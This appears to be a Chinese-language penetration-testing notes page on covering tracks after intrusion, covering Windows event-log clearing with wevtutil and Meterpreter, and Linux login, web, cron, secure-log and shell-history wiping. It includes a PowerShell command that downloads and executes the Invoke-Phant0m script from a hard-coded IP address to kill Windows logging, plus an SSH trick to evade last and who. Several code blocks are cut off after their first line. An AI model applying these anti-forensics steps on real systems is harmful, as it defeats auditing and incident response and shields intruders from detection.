痕迹清除
痕迹清除
hihopkc痕迹清除简介
在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者通常会对Windows日志进行清除和绕过。
Windows痕迹清除
Windows日志
- 如何查看
事件查看器 -> windows日志
1 | win + r |
- 保存路径
1 | C:\Windows\System32\winevt\Logs\ |
- 包括五个类别:应用程序、安全、Setup、系统、转发事件
1 | powershell -c "Get-WinEvent -FilterHashtable @{logname='Application';}" |
系统日志:System
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。
应用程序日志:Application
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志 中记录文件错误,程序开发人员可以自行决定监视哪些事件。
安全日志:Security
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、 策略变更、系统事件。安全日志也是调查取证中最常用到的日志。
https://github.com/Bypass007/Emergency-Response-Notes/blob/master/第02章:日志分析篇/第1篇:Windows日志分析.md
Windows日志清理
wevtutil.exe:用于检索有关事件日志和发布者的信息,安装和卸载事件清单,运行查询以及导出、存档和清除日志。
1 | # 查看指定类别的日志内容 |
Meterpreter清理日志
- 删除所有在渗透过程中使用的工具
- 删除之前添加的账号:net user username /del
- 删除应用程序、系统和安全模块日志:clearev
- 关闭所有的Meterpreter连接:sessions -K
- 查看事件日志:run event_manager -i
- 删除事件日志:run event_manager -c
停止日志记录
利用脚本让日志功能失效,无法记录日志。
1 | powershell "IEX(new-object system.net.webclient).downloadstring('http://47.101.214.85:8000/Invoke-Phant0m.ps1');Invoke-Phant0m" |
把eventlog
对应的svchost
进程结束,重新开启Windows Event Log
服务,即可恢复日志记录
Linux痕迹清除
登录日志
ssh远程登录会产生登录日志
1 | 命令 日志文件 描述 |
命令的输出包括:登录名,上次登录时间,IP地址,端口等。
登录日志清理
last等日志是二进制文件,无法直接修改。所以清除的最简单方式是清空日志文件本身。
清空lastb对应的/var/log/btmp文件需要root权限
1 | /var/log/wtmp |
WEB日志清理
1 | /var/log/httpd/access.log |
WEB日志清理
通过HTTP协议访问连接程序的WEB容器时,会记录对应的访问日志,因此需要清理容器的日志。如tomcat日志,IIS日志。
1 | /var/log/httpd/access.log |
定时任务
/var/log/cron:记录了系统定时任务相关的日志
secure日志
/var/log/secure:记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中。
操作历史记录
1 | history:显示历史记录 |
隐藏历史记录
1 | 开启无痕模式,禁用命令历史记录功能。 |
SSH隐身登录
隐身登录系统,不会被last、who、w等指令检测到
1 | ssh -T user@host /bin/bash -i |